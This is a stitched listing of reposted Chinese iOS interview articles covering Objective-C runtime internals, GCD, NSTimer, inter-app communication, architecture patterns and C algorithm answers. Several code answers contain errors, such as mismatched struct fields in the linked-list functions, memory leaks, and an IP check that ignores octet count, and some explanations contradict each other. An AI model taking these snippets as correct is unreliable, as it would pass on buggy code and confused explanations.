    • 第2步中的Model的改变,VM是知道的(因为持有关系),只需要Model改变后发一个通知;Controller或View接收到通知后(一般是Controller先接收再赋值给View),根据这个新Model去改变视图就完成了M改变V(M绑定V) 。使用RAC(RactiveCocoa)框架实现绑定可以简单到一句话概括:ViewModel中创建好请求的信号RACSignal, Controller中订阅这个信号,在ViewModel完成请求后订阅者调用sendNext:方法,Controller里面订阅时写的block就收到回调了。

    7、block 和 通知的区别
    通知:
    一对多
    Block:

    • 通常拿来OC中的block和swift中的闭包来比较.

    • block注重的是过程

    • block会开辟内存,消耗比较大,delegate则不会

    • block防止循环引用,要用弱引用

    Delegate:
    代理注重的是过程,是一对一的,对于一个协议就只能用一个代理,更适用于多个回调方法(3个以上),block则适用于1,2个回调时

    8、进程间通信方式?线程间通信?

    • URL scheme
      这个是iOS APP通信最常用到的通信方式,APP1通过openURL的方法跳转到APP2,并且在URL中带上想要的参数,有点类似HTTP的get请求那样进行参数传递。这种方式是使用最多的最常见的,使用方法也很简单只需要源APP1在info.plist中配置LSApplicationQueriesSchemes,指定目标App2的scheme;然后再目标App2的info.plist 中配置好URLtypes,表示该App接受何种URL scheme的唤起。

    • Keychain
      iOS 系统的keychain是一个安全的存储容器,它本质上就是一个sqlite数据库,它的位置存储在/private/var/Keychains/keychain-2.db,不过它索八坪村的所有数据都是经过加密的,可以用来为不同的APP保存敏感信息,比如用户名,密码等。iOS系统自己也用keychain来保存VPN凭证和WiFi密码。它是独立于每个APP的沙盒之外的,所以即使APP被删除之后,keychain里面的信息依然存在

    10、UIPasteBoard
    是剪切板功能,因为iOS 的原生空间UItextView,UItextfield,UIwebView ,我们在使用时如果长按,就回出现复制、剪切、选中、全选、粘贴等功能,这个就是利用系统剪切板功能来实现的。

    11、UIDocumentInteractionController
    uidocumentinteractioncontroller 主要是用来实现同设备上APP之间的贡献文档,以及文档预览、打印、发邮件和复制等功能。

    12、Local socket
    原理:一个APP1在本地的端口port1234 进行TCP的bind 和 listen,另外一个APP2在同一个端口port1234发起TCP的connect连接,这样就可以简历正常的TCP连接,进行TCP通信了,然后想传什么数据就可以传什么数据了、

    13、AirDrop
    通过 Airdrop实现不同设备的APP之间文档和数据的分享

    14、UIActivityViewController
    iOS SDK 中封装好的类在APP之间发送数据、分享数据和操作数据

    15、APP Groups
    APP group用于同一个开发团队开发的APP之间,包括APP和extension之间共享同一份读写空间,进行数据共享。同一个团队开发的多个应用之间如果能直接数据共享,大大提高用户体验

    • 线程间通信的体现
      1 .一个线程传递数据给另一个线程
      2 .在一个线程中执行完特定任务后,转到另一个线程继续执行任务复制

    • 代码线程间通信常用的方法
      1、NSThread可以先将自己的当前线程对象注册到某个全局的对象中去,这样相互之间就可以获取对方的线程对象,然后就可以使用下面的方法进行线程间的通信了,由于主线程比较特殊,所以框架直接提供了在主线程执行的方法>    

    - (void)performSelectorOnMainThread:(SEL)aSelector withObject:(nullable id)arg waitUntilDone:(BOOL)wait;

    - (void)performSelector:(SEL)aSelector onThread:(NSThread *)thr withObject:(nullable id)arg
    waitUntilDone:(BOOL)wait NS_AVAILABLE(10_5, 2_0);

         2、 GCD一个线程传递数据给另一个线程,如

    {   dispatch_async(dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_DEFAULT, 0), ^{

    NSLog(@"donwload---%@", [NSThread currentThread]);

    // 1.子线程下载图片 //耗时操作
    NSURL *url = [NSURL URLWithString:@"http://d.jpg"];
    NSData *data = [NSData dataWithContentsOfURL:url];
    UIImage *image = [UIImage imageWithData:data];

    // 2.回到主线程设置图片
    dispatch_async(dispatch_get_main_queue(), ^{

    NSLog(@"setting---%@ %@", [NSThread currentThread], image);

    [self.button setImage:image forState:UIControlStateNormal];
    });
    });

    16、如何检测应用卡顿问题?
    NSRunLoop调用方法主要就是在kCFRunLoopBeforeSources和kCFRunLoopBeforeWaiting之间,还有kCFRunLoopAfterWaiting之后,也就是如果我们发现这两个时间内耗时太长,那么就可以判定出此时主线程卡顿。

    链接:https://www.jianshu.com/p/7484830d9d74

    收起阅读 »

    iOS 头条一面 面试题

    1、如何高效的切圆角?切圆角共有以下三种方案:cornerRadius + masksToBounds:适用于单个视图或视图不在列表上且量级较小的情况,会导致离屏渲染。CAShapeLayer+UIBezierPath:会导致离屏渲染,性能消耗严重,不推荐使用...
    继续阅读 »

    1、如何高效的切圆角?
    切圆角共有以下三种方案:

    • cornerRadius + masksToBounds:适用于单个视图或视图不在列表上且量级较小的情况,会导致离屏渲染。

    • CAShapeLayer+UIBezierPath:会导致离屏渲染,性能消耗严重,不推荐使用。

    • Core Graphics:不会导致离屏渲染,推荐使用。

    2、什么是隐式动画和显式动画?
    隐式动画指的是改变属性值而产生的默认的过渡动画(如background、cornerRadius等),不需要初始化任何类,系统自己处理的动画属性;显式动画是指自己创建一个动画对象并附加到layer上,如 CAAnimation、CABasicAnimation、CAKeyframeAnimation。

    3、UIView 和 CALayer 的区别?
    UIView 是 CALayer 的 delegate,UIView 可以响应事件,而 CALayer 则不能。

    4、离屏渲染?
    iOS 在不进行预合成的情况下不会直接在屏幕上绘制该图层,这意味着 CPU 和 GPU 必须先准备好屏幕外上下文,然后才能在屏幕上渲染,这会造成更多时间时间和更多的内存的消耗。

    5、Objective - C 是否支持方法重载(overloading)?
    不支持。方法重载(overloading):允许创建多项名称相同但输入输出类型或个数不同的方法。

    // 这两个方法名字是不一样的,虽然都是writeToFile开头
    -(void) writeToFile:(NSString *)path fromInt:(int)anInt;
    -(void) writeToFile:(NSString *)path fromString:(NSString *)aString;

    注:Swift 是支持的。

    func testFunc() {}
    func testFunc(num: Int) {}

    6、KVC 的应用场景及注意事项
    KVC(key-Value coding) 键值编码,指iOS开发中,可以允许开发者通过Key名直接访问对象的属性,或者给对象的属性赋值。不需要调用明确的存取方法,这样就可以在运行时动态访问和修改对象的属性,而不是在编译时确定。
    它的四个主要方法:

    - (nullable id)valueForKey:(NSString *)key;                          //直接通过Key来取值
    - (void)setValue:(nullable id)value forKey:(NSString *)key; //通过Key来设值
    - (nullable id)valueForKeyPath:(NSString *)keyPath; //通过KeyPath来取值
    - (void)setValue:(nullable id)value forKeyPath:(NSString *)keyPath; //通过KeyPath来设值

    应用场景:

    • 动态取值和设值

    • 访问和改变私有变量

    • 修改控件的内部属性

    注意事项:

    • key 不要传 nil,会导致崩溃,可以通过重写setNilValueForKey:来避免。

    • 传入不存在的 key 也会导致崩溃,可以通过重写valueForUndefinedKey:来避免。

    7、如何异步下载多张小图最后合成一张大图?
    使用Dispatch Group追加block到Global Group Queue,这些block如果全部执行完毕,就会执行Main Dispatch Queue中的结束处理的block。

    dispatch_queue_t queue = dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_DEFAULT, 0);
    dispatch_group_t group = dispatch_group_create();
    dispatch_group_async(group, queue, ^{ /*加载图片1 */ });
    dispatch_group_async(group, queue, ^{ /*加载图片2 */ });
    dispatch_group_async(group, queue, ^{ /*加载图片3 */ });
    dispatch_group_notify(group, dispatch_get_main_queue(), ^{
    // 合并图片
    });

    8、NSTimer 有什么注意事项?在 dealloc 中调用[timer invalidate];会避免循环引用吗?

    • 时间延后。如果 timer 处于耗时较长的 runloop 中,或者当前 runloop 处于不监视 timer 的 mode 时(如 scrollView 滑动时)。它在下次 runloop 才会触发,所以可能会导致比预期时间要晚。

    • 循环引用。target 强引用 timer,timer 强引用 target。

    时间延后

    使用 dispatch_source_t来提高时间精度。

    dispatch_source_t timer = dispatch_source_create(DISPATCH_SOURCE_TYPE_TIMER, 0, 0, queue);
    if (timer) {
    dispatch_source_set_timer(timer, dispatch_time(DISPATCH_TIME_NOW, interval * NSEC_PER_SEC), interval * NSEC_PER_SEC, (1ull * NSEC_PER_SEC) / 10);
    dispatch_source_set_event_handler(timer, block);
    dispatch_resume(timer);
    }

    循环引用

    在 dealloc 中调用 [timer invalidate];不会避免循环引用。因为 timer 会对 target 进行强引用,所以在 timer 没被释放之前,根本不会走 target 的 dealloc 方法。
    可以通过以下几种方法来避免:

    如果 iOS 10 及以上,可以使用nit(timeInterval:repeats:block:)。target 不再强引用 timer。记得在 dealloc 中调用 [timer invalidate];,否则会造成内存泄漏。

    timer = Timer(timeInterval: 1.0, repeats: true, block: { [weak self] (timer) in
    self?.timerFunc()
    })

    使用中间件的方式来避免循环引用。

    // 定义
    @implementation WeakTimerTarget
    {
    __weak target;
    SEL selector;
    }

    - (void)timerDidFire:(NSTimer *)timer {
    if(target) {
    [target performSelector:selector withObject:timer];
    } else{
    [timer invalidate];
    }
    }
    @end

    // 使用
    WeakTimerTarget *target = [[WeakTimerTarget alloc] initWithTarget:self selector:@selector(tick)];
    timer = [NSTimer scheduledTimerWithTimeInterval:30.0 target:target selector:@selector(timerDidFire:) ...];

    9、对 property 的理解

    @property = ivar + getter + setter;

    10、Notification 的注意事项
    在哪个线程发送通知,就在哪个线程接受通知。

    11、Runloop的理解
    一般来讲,一个线程一次只能执行一个任务,执行完成后线程就会退出。如果我们需要一个机制,让线程能随时处理事件但并不退出,通常的代码逻辑 是这样的:

    function loop() {
    initialize();
    do {
    var message = get_next_message();
    process_message(message);
    } while (message != quit);
    }

    12、对 OC 中 Class 的源码理解?其中 cache 的理解?
    Class 的底层用 struct 实现,源码如下:

    struct _class_t {
    struct _class_t *isa;
    struct _class_t *superclass;
    void *cache;
    void *vtable;
    struct _class_ro_t *ro;
    };

    Cache用于缓存最近使用的方法。一个类只有一部分方法是常用的,每次调用一个方法之后,这个方法就被缓存到cache中,下次调用时 runtime 会先在 cache 中查找,如果 cache 中没有,才会去 methodList 中查找。以此提升性能。

    13、项目优化做了哪些方面?

    • 删除无用资源文件及代码

    • 在合适的地方加缓存

    • 耗时长的代码异步执行

    14、如何一劳永逸的检测包的裂变(检测包的大小)?
    这个不知道,希望了解的朋友可以在评论区指出来。

    15、实现一个判断 IP 地址是否合法的方法

    func isIPAddress(str: String) -> Bool {
    guard !str.isEmpty else { return false }
    var isIPAddress = false
    let coms = str.components(separatedBy: ".")
    for com in coms {
    if let intCom = Int(com), intCom >= 0, intCom <= 255 {
    isIPAddress = true
    } else {
    isIPAddress = false
    return isIPAddress
    }
    }
    return isIPAddress
    }


    转自:https://www.jianshu.com/p/62c525efe496

    收起阅读 »

    iOS底层-isa

    Root class (class)其实就是NSObject,NSObject是没有超类的,所以Root class(class)的superclass指向nil。每个Class都有一个isa指针指向唯一的Meta classRoot class(meta)的...
    继续阅读 »

    分析消息的走态


    Root class (class)其实就是NSObject,NSObject是没有超类的,所以Root class(class)的superclass指向nil。

    每个Class都有一个isa指针指向唯一的Meta class

    Root class(meta)的superclass指向Root class(class),也就是NSObject,形成一个回路。

    每个Meta class的isa指针都指向Root class (meta)。

    Root class (meta)的isa指针都指向自己

    这里我记录一个重要的点:

    1.对象方法存在类里面

    2.类方法存在元类里面

    3.元类的方法存在根元类

    这是非常重要的,如果我们没有捋清楚,就无法得知我们的消息接受者!!!

    isa 又是什么?

    所谓isa指针,在OC中对象的声明是这样的

    typedef struct objc_object {
    Class isa;
    } *id;

    对象本身是一个带有指向其类别isa指针的结构体。
    当向一个对象发送消息的时候,实际上是通过isa在对象的类别中找到相应的方法。我们知道OC中除了实例方法之外还有类方法,那么类别是否也是个对象呢?

    typedef struct objc_class *Class;
    struct objc_class {
    Class isa;
    Class super_class;
    /* followed by runtime specific details... */
    };

    从上面类别的结构看来,类别也是一个对象,它拥有一个指向其父类的指针,和一个isa指针。当一个类别使用类方法时,类别作为一个对象同样会使用isa指针找到类方法的实现。这时,isa指向的就是这个类别的元类。

    也就是说

    元类是类别的类。
    所有的类方法都储存在元类当中。

    众所周知Objective-C(以下简称OC)中的消息机制。消息的接收者可以是一个对象,也可以是一个类。那么这两种情况要是统一为一种情况不是更方便吗?苹果当然早就想到了,这也正是元类的用处。苹果统一把消息接收者作为对象。等等,这是说,类也是对象?yes,就是这样。就是说,OC中所有的类都一种对象。由一个类实例化来的对象叫实例对象,这好理解,那么,类作为对象(称之为类对象),又是什么类的对象?当然也容易猜到,就是今天的主题——元类(Metaclass)。现在到给元类下定义的时候了:元类就是类对象所属的类。所以,实例对象是类的实例,类作为对象又是元类的实例。已经说了,OC中所有的类都一种对象,所以元类也是对象,那么元类是什么的实例呢?答曰:根元类,根元类是其自身的实例

    摘自作者:Cooc
    原贴链接:https://www.jianshu.com/p/2d1fdb76ed57

    收起阅读 »

    iOS面试必背的算法面试题

    1、实现二分查找算法int binarySearchWithoutRecursion(int array[], int low, int high, int target) {while (low <= high) { int mid = l...
    继续阅读 »

    1、实现二分查找算法

    int binarySearchWithoutRecursion(int array[], int low, int high, int target) {

    while (low <= high) {
    int mid = low + (high - low) / 2;
    if (array[mid] > target) {
    high = mid - 1;
    } else if (array[mid] < target) {
    low = mid + 1;
    } else {
    //找到目标
    return mid;
    }
    }
    return -1;
    }

    递归实现

    int binarySearch(const int arr[], int low, int high, int target)
    {
    int mid = low + (high - low) / 2;

    if(low > high) {
    return -1;
    } else{
    if(arr[mid] == target) {
    return mid;
    } else if(arr[mid] > target) {
    return binarySearch(arr, low, mid-1, target);
    } else {
    return binarySearch(arr, mid+1, high, target);
    }
    }
    }

    2、 对以下一组数据进行降序排序(冒泡排序)。“24,17,85,13,9,54,76,45,5,63”

    int main(int argc, char *argv[]) {

    int array[10] = {24, 17, 85, 13, 9, 54, 76, 45, 5, 63};

    int num = sizeof(array)/sizeof(int);

    for(int i = 0; i < num - 1; i++) {
    int exchanged = 0;
    for(int j = 0; j < num - 1 - i; j++) {
    if(array[j] < array[j+1]) {
    array[j] = array[j]^array[j+1];
    array[j+1] = array[j+1]^array[j];
    array[j] = array[j]^array[j+1];
    exchanged = 1;
    }
    }
    if (exchanged == 0) {
    break;
    }
    }

    for(int i = 0; i < num; i++) {
    printf("%d ", array[i]);
    }
    }

    3、 对以下一组数据进行升序排序(选择排序)。“86, 37, 56, 29, 92, 73, 15, 63, 30, 8”

    void sort(int a[],int n)
    {
    int i, j, min;

    for(i = 0; i < n - 1; i++) {
    min = i;
    for(j = i + 1; j < n; j++) {
    if(a[min] > a[j]) {
    min = j;
    }
    }

    if(min != i) {
    a[i] = a[i] ^ a[min];
    a[min] = a[min] ^ a[i];
    a[i] = a[i] ^ a[min];
    }
    }
    }

    int main(int argc, const char * argv[]) {

    int numArr[10] = {86, 37, 56, 29, 92, 73, 15, 63, 30, 8};

    sort(numArr, 10);

    for (int i = 0; i < 10; i++) {
    printf("%d, ", numArr[i]);
    }

    return 0;
    }

    4、 快速排序算法

    void sort(int *a, int left, int right) {

    if(left >= right) {
    return ;
    }

    int i = left;

    int j = right;

    int key = a[left];

    while (i < j) {
    while (i < j && key >= a[j]) {
    j--;
    }

    if (i < j) {
    a[i] = a[j];
    }


    while (i < j && key < a[i]) {
    i++;
    }

    if (i < j) {
    a[j] = a[i];
    }
    }

    a[i] = key;

    sort(a, left, i-1);

    sort(a, i+1, right);

    }

    5、 归并排序

    void merge(int sourceArr[], int tempArr[], int startIndex, int midIndex, int endIndex) {

    int i = startIndex;

    int j = midIndex + 1;

    int k = startIndex;

    while (i != midIndex + 1 && j != endIndex + 1) {
    if (sourceArr[i] >= sourceArr[j]) {
    tempArr[k++] = sourceArr[j++];
    } else {
    tempArr[k++] = sourceArr[i++];
    }
    }

    while (i != midIndex + 1) {
    tempArr[k++] = sourceArr[i++];
    }

    while (j != endIndex + 1) {
    tempArr[k++] = sourceArr[j++];
    }

    for (i = startIndex; i <= endIndex; i++) {
    sourceArr[i] = tempArr[i];
    }
    }


    void sort(int souceArr[], int tempArr[], int startIndex, int endIndex) {

    int midIndex;

    if (startIndex < endIndex) {

    midIndex = (startIndex + endIndex) / 2;

    sort(souceArr, tempArr, startIndex, midIndex);

    sort(souceArr, tempArr, midIndex + 1, endIndex);

    merge(souceArr, tempArr, startIndex, midIndex, endIndex);

    }
    }

    int main(int argc, const char * argv[]) {

    int numArr[10] = {86, 37, 56, 29, 92, 73, 15, 63, 30, 8};

    int tempArr[10];

    sort(numArr, tempArr, 0, 9);

    for (int i = 0; i < 10; i++) {
    printf("%d, ", numArr[i]);
    }

    return 0;
    }

    6、 二叉树的先序遍历为FBACDEGH,中序遍历为:ABDCEFGH,请写出这个二叉树的后序遍历结果。
    ADECBHGF
    先序+中序遍历还原二叉树:先序遍历是:ABDEGCFH 中序遍历是:DBGEACHF
    首先从先序得到第一个为A,就是二叉树的根,回到中序,可以将其分为三部分:
    左子树的中序序列DBGE,根A,右子树的中序序列CHF
    接着将左子树的序列回到先序可以得到B为根,这样回到左子树的中序再次将左子树分割为三部分:
    左子树的左子树D,左子树的根B,左子树的右子树GE
    同样地,可以得到右子树的根为C
    类似地将右子树分割为根C,右子树的右子树HF,注意其左子树为空
    如果只有一个就是叶子不用再进行了,刚才的GE和HF再次这样运作,就可以将二叉树还原了

    7、 实现一个字符串“how are you”的逆序输出(编程语言不限)。如给定字符串为“hello world”,输出结果应当为“world hello”,进阶:去掉首尾空格,每个单词间只保留一个空格。

    void reverse(char *start, char *end) {
    if (start == NULL || end == NULL) {
    return;
    }

    //翻转字符
    while (start < end) {
    char tmp = *start;
    *start = *end;
    *end = tmp;

    start++;
    end--;
    }
    }

    char *reverseStrings(char * s){
    if (s == NULL) {
    return '\0';
    }

    //去除多余空格
    char *str = s;
    //去除首部空格
    while(*str != '\0') {
    if (*str != ' ') {
    s = str;
    break;
    }
    str++;
    }
    str = s;
    int i,j;
    i = 0;
    j = 0;
    //去除中间或尾部空格
    while(*(str+i) != '\0') {
    if (*(str+j) == ' ') {
    if (*(str+j+1) == ' ') {
    j++;
    continue;
    } else if (*(str+j+1) == '\0' ) {
    //去掉尾部空格
    *(str+i) = '\0';
    break;
    }
    } else if (*(str+j) == '\0' ) {
    //去掉尾部空格
    *(str+i) = '\0';
    break;
    }
    if (*(str+i) != *(str+j)) {
    *(str+i) = *(str+j);
    }
    i++;
    j++;
    }

    char *start,*end;
    start = s;
    end = s;

    while(*end != '\0') {
    end++;
    }
    end--;

    reverse(start,end);

    //翻转单词
    start = s;
    end = s;

    while (*start != '\0') {
    if (*start == ' ') {
    start++;
    end++;
    } else if (*end == ' ' || *end == '\0'){
    end--;
    reverse(start,end);
    start = ++end;
    } else {
    end++;
    }
    }

    return s;
    }

    int main(int argc, const char * argv[]) {

    char *str = reverseStrings("have a brilliant future");
    while (*str != '\0') {
    printf("%c", *str++);
    }

    return 0;
    }

    8、字符串匹,输出子串第一次出现的下标,具体要求如下:
    给定主串“ababcabc”,模式串“abc”,输出结果为:2
    给定主串 “aaaa”,模式串“bb”,输出结果为:-1
    当模式串为空串的时候,输出结果应为:0
    请实现findStringIndex函数。

    int findStringIndex(char * inputs, char * matchs){
    if (inputs == NULL || matchs == NULL) {
    return -1;
    }

    if (*matchs == '\0') {
    return 0;
    }

    int i = 0,j = 0;
    while (*(inputs + i) != '\0' && *(matchs + j) != '\0') {
    if (*(inputs + i) == *(matchs + j)) {
    i++;
    j++;
    } else {
    i = i-j+1;
    j = 0;
    }
    }
    //模式串到串尾说明匹配成功,返回下标
    if (*(matchs + j) == '\0') {
    return i-j;
    }
    return -1;
    }

    int main(int argc, const char * argv[]) {
    printf("index = %d", findStringIndex("ababcabc", "abc"));
    return 0;
    }

    9、字符串匹配进阶,KMP算法:

    void generateNextArr(char *s,int *next) {
    //初始化
    int k = -1,j = 0;
    //next[0]初始化成-1
    *next = -1;

    while (j < strlen(s) - 1) {
    if (k == -1 || *(s + j) == *(s + k)) {
    j++;
    k++;
    //s[j]==s[next[k]]必然会失配
    if (*(s + j) != *(s+k)) {
    *(next + j) = k;
    } else {
    *(next + j) = *(next + k);
    }
    } else {
    k = *(next + k);
    }
    }

    }

    int kmpMatch(char *inputs, char *matchs) {
    if (inputs == NULL || matchs == NULL) {
    return -1;
    }
    //模式串为空串时返回0
    if (*matchs == '\0') {
    return 0;
    }
    int inputLen = strlen(inputs);
    int len = strlen(matchs);

    int *next = (int *)malloc(len*sizeof(int));

    //生成next数组:失配时模式串下标跳转的位置
    generateNextArr(matchs, next);

    int i = 0,j = 0;
    while (i < inputLen && j < len) {
    if (j == -1 || *(inputs + i) == *(matchs + j)) {
    i++;
    j++;
    } else {
    j = *(next + j);
    }
    }
    if (*(matchs + j) == '\0') {
    return i-j;
    }
    free(next);
    return -1;
    }

    int main(int argc, const char * argv[]) {
    printf("index = %d", kmpMatch("aabcbbabcb", "abc"));
    return 0;
    }

    10、如何实现一个数组每个元素依次向右移动k位,后面的元素依次往前面补。比如: [1, 2, 3, 4, 5] 移动两位变成[4, 5, 1, 2, 3]。
    思路:三次反转
    后K位反转:12354
    前部分反转:32154
    整体全部反转:45123

    int * reverse1(int *arr, int start, int end) {
    while (start < end) {
    arr[start] = arr[start] ^ arr[end];
    arr[end] = arr[end] ^ arr[start];
    arr[start] = arr[start] ^ arr[end];
    start++;
    end--;
    }
    return arr;
    }
    int * moveK(int *arr, int numSize, int k) {
    reverse1(arr, numSize - k, numSize-1);
    reverse1(arr, 0, numSize-k-1);
    reverse1(arr, 0, numSize-1);

    return arr;
    }

    int main(int argc, const char * argv[]) {
    int arr[5] = {1,2,3,4,5};
    int numSize = sizeof(arr) / sizeof(int);
    moveK(arr, numSize, 2);
    for (int i = 0; i < numSize; i++) {
    printf("%d ",arr[i]);
    }
    return 0;
    }

    11、 给定一个字符串,输出本字符串中只出现一次并且最靠前的那个字符的位置?如“abaccddeeef”,字符是b,输出应该是2。

    char findChar(char *s){
    if (s == NULL) {
    return ' ';
    }
    int hashTable[256];
    memset(hashTable, 0, sizeof(hashTable));
    char *p = s;
    while(*p != '\0') {
    hashTable[*p]++;
    p++;
    }
    p = s;

    while(*p != '\0') {
    if (hashTable[*p] == 1) {
    return *p;
    }
    p++;
    }

    return ' ';
    }

    int main(int argc, const char * argv[]) {

    char *inputStr = "abaccddeeef";

    char ch = findChar(inputStr);

    printf("%c \n", ch);

    return 0;

    }

    12、 如何实现链表翻转(链表逆序)?
    思路:每次把第二个元素提到最前面来。

    #include <stdio.h>

    #include <stdlib.h>


    typedef struct NODE {

    struct NODE *next;

    int num;

    }node;


    node *createLinkList(int length) {

    if (length <= 0) {

    return NULL;

    }

    node *head,*p,*q;

    int number = 1;

    head = (node *)malloc(sizeof(node));

    head->num = 1;

    head->next = head;

    p = q = head;

    while (++number <= length) {

    p = (node *)malloc(sizeof(node));

    p->num = number;

    p->next = NULL;

    q->next = p;

    q = p;

    }

    return head;
    }


    void printLinkList(node *head) {

    if (head == NULL) {

    return;

    }

    node *p = head;

    while (p) {

    printf("%d ", p->num);

    p = p -> next;

    }

    printf("\n");

    }


    node *reverseFunc1(node *head) {

    if (head == NULL) {

    return head;


    }


    node *p,*q;

    p = head;

    q = NULL;

    while (p) {

    node *pNext = p -> next;

    p -> next = q;

    q = p;

    p = pNext;

    }

    return q;

    }


    int main(int argc, const char * argv[]) {

    node *head = createLinkList(7);

    if (head) {

    printLinkList(head);

    node *reHead = reverseFunc1(head);

    printLinkList(reHead);

    free(reHead);

    }

    free(head);

    return 0;

    }

    13、删除链表中的重复元素,每个重复元素需要出现一次,如给定链表 1->2->2->3->4->5->5,输出结果应当为 1->2->3->4->5。请实现下面的deleteRepeatElements函数:

    typedef struct NODE {

    struct NODE *next;

    int num;

    } node;

    node *deleteRepeatElements(node *head) {
    if (head == NULL) {
    return head;
    }

    struct ListNode* pNode = head;

    while (pNode && pNode->next) {
    if (pNode->val == pNode->next->val) {
    struct ListNode *tempNode = pNode->next;
    pNode->next = pNode->next->next;
    free(tempNode);
    } else {
    pNode=pNode->next;
    }
    }
    return head;
    }

    14、删除链表中重复的元素,只保留不重复的结点。如:1->1->2->3->4->4->5,输出结果:2->3->5,请实现下面的deleteRepeatElements函数。

    typedef struct NODE {

    struct NODE *next;

    int num;

    } node;

    node *deleteRepeatElements(node *head) {
    if (head == NULL) {
    return head;
    }
    //头结点有可能会被删除,先创建一个头结点
    node *pHead = (node *)malloc(sizeof(node));
    pHead->next = head;
    node *current = pHead;

    while(current->next && current->next->next) {
    if (current->next->val == current->next->next->val) {
    node *tempNode = current->next;
    while(tempNode && tempNode->next && tempNode->val == tempNode->next->val) {
    tempNode = tempNode->next;
    }
    current->next = tempNode->next;
    } else {
    current = current->next;
    }
    }
    return pHead->next;
    }

    15、 打印2-100之间的素数。
    判断素数思路:通过分析我们可知5以上的自然数都可以用6x-1,6x,6x+1,6x+2,6x+3,6x+4,6x+5来代替,又因6x,6x+2=2(3x+1),6x+3=3(2x+1),6x+4=2*(3x+2)以上都不可能是素数,所以只需要判断6x-1,6x+1,6x+5(6x两侧的数)即可。

    int main(int argc, const char * argv[]) {

    for (int i = 2; i < 100; i++) {
    int r = isPrime(i);
    if (r == 1) {
    printf("%ld ", i);
    }
    }

    return 0;
    }


    int isPrime(int n)
    {

    if(n == 2 || n == 3) {
    return 1;
    }

    if(n % 6 != 1 && n % 6 != 5) {
    return 0;
    }

    for(int i = 5; (i * i) <= n; i += 6) {
    if(n % i == 0 || n % (i + 2) == 0) {
    return 0;
    }
    }

    return 1;
    }

    16、计算100以内素数的个数

    int countPrime(int n) {
    int i,j,count = 0;
    //开辟空间
    int *prime = (int *)malloc(sizeof(int) * n);
    //初始默认所有数为素数
    memset(prime, 1, sizeof(int) * n);
    for (i = 2; i < n; i++) {
    if (prime[i]) {
    count++;
    for (j = i + i; j < n; j += i) {
    //标记不是素数
    prime[j] = 0;
    }
    }
    }
    return count;
    }

    17、 求两个整数的最大公约数。

    int gcd(int a, int b) {

    while (a != b) {
    if (a > b) {
    a = a - b;
    } else {
    b = b - a;
    }
    }
    return a;
    }

    转自:https://www.jianshu.com/p/746495327da6

    收起阅读 »

    iOS底层-方法的本质

    通过clang -rewrite-objc main.m -o mian.cpp编译的对象调用方法底层int main(int argc, const char * argv[]) { /* @autoreleasepool */ { __AtAutor...
    继续阅读 »

    通过clang -rewrite-objc main.m -o mian.cpp编译的对象调用方法底层

    int main(int argc, const char * argv[]) {
    /* @autoreleasepool */ { __AtAutoreleasePool __autoreleasepool;
    LGPerson *p = ((LGPerson *(*)(id, SEL))(void *)objc_msgSend)((id)objc_getClass("LGPerson"), sel_registerName("new"));
    ((void (*)(id, SEL))(void *)objc_msgSend)((id)p, sel_registerName("run"));
    }
    return 0;
    }

    可以看出在我们进行LGPerson初始化的时候,我们都知道会调用alloc,init.我这里为了简单只调用'new'.但是底层不是像我们利用[]调用的,而是调用了一个函数objc_msgSend这就是我们消息发送的方法,因为考虑的参数我们进行了前面的强转.如果有一定C功底就知道objc_msgSend就是发送消息,我们在断点调试ViewDidLoad的时候,发现能打印self,_cmd这就是我们的消息底层默认的两个参数id,SEL

    一个是消息接受者

    一个是消息编号

    我们还可以在objc_msgSend末尾继续加参数,但是考虑到编译参数问题,我们需要关闭严格核查

    我通过SEL能找到函数实现,底层是依赖一个IMP的函数指针

    就会找我们具体的函数实现

    我们模拟是不是也可不断发送消息,模拟四种消息发送:

    LGStudent *s = [LGStudent new];
    [s run];
    // 方法调用底层编译
    // 方法的本质: 消息 : 消息接受者 消息编号 ....参数 (消息体)
    objc_msgSend(s, sel_registerName("run"));
    // 类方法编译底层
    [LGStudent walk];
    objc_msgSend(objc_getClass("LGStudent"), sel_registerName("walk"));

    // 向父类发消息(对象方法)
    struct objc_super mySuper;
    mySuper.receiver = s;
    mySuper.super_class = class_getSuperclass([s class]);
    objc_msgSendSuper(&mySuper, @selector(run));

    //向父类发消息(类方法)
    struct objc_super myClassSuper;
    myClassSuper.receiver = [s class];
    myClassSuper.super_class = class_getSuperclass(object_getClass([s class]));
    objc_msgSendSuper(&myClassSuper, sel_registerName("walk"));




    收起阅读 »

    移动iOS架构起航

    架构就如人体骨架,肌肉和血液还有其他就顺着骨架填充!MVC架构思想MVC全名是Model View Controller,是模型(model)-视图(view)-控制器(controller)的缩写,一种软件设计典范,用一种业务逻辑、数据、界面显示分离的方法组...
    继续阅读 »
    架构就如人体骨架,肌肉和血液还有其他就顺着骨架填充!


    MVC架构思想

    MVC全名是Model View Controller,是模型(model)-视图(view)-控制器(controller)的缩写,一种软件设计典范,用一种业务逻辑、数据、界面显示分离的方法组织代码,将业务逻辑聚集到一个部件里面,在改进和个性化定制界面及用户交互的同时,不需要重新编写业务逻辑。MVC被独特的发展起来用于映射传统的输入、处理和输出功能在一个逻辑的图形化用户界面的结构中。

    组成MVC的三个模式分别是组合模式、策咯模式、观察者模式,MVC在软件开发中发挥的威力,最终离不开这三个模式的默契配合

    View层,单独实现了组合模式

    Model层和View层,实现了观察者模式

    View层和Controller层,实现了策咯模式

    MVC要实现的目标是将软件用户界面和业务逻辑分离以使代码 可扩展性、可复用性、可维护性、灵活性加强.


    ViewController过重

    通过上面的图大家也看到了非常完美,但是用起来真有问题!

    但是我们实际开发经常会变形:比如我们ViewController会非常之重,动不动几百行,几千行代码!那么是一些什么东西在里面?

    繁重的网络层

    复杂的UI层

    难受的代理

    啰嗦的业务逻辑

    还有一些其他功能


    控制器(controller)的作用就是这么简单, 用来将不同的View和不同的Model组织在一起,顺便替双方传递消息,仅此而已。

    这里建议:

    繁重的网络层 封装到我们业务逻辑管理者比如:present viewModel

    复杂的UI层就应该是UI的事,直接剥离出VC


    难受的代理就可以封装一个功能类比如我们常写的tableview collectionView的代理 我们就可以抽取出来封装为一个公共模块,一些特定的逻辑就可以利用适配器设计模式,根据相应的model消息转发



    耦合性问题

    经常我们在开发过程中会出现下面的线!


    这样的线对我们重用性,灵活性造成了压力

    这里我推荐大家使用不直接依赖model 利用发送消息的方式传递

    MVP架构思想

    MVP 全称:Model-View-Presenter ;MVP 是从经典的模式MVC演变而来,它们的基本思想有相通的地方:Controller/Presenter负责逻辑的处理,Model提供数据,View负责显示。

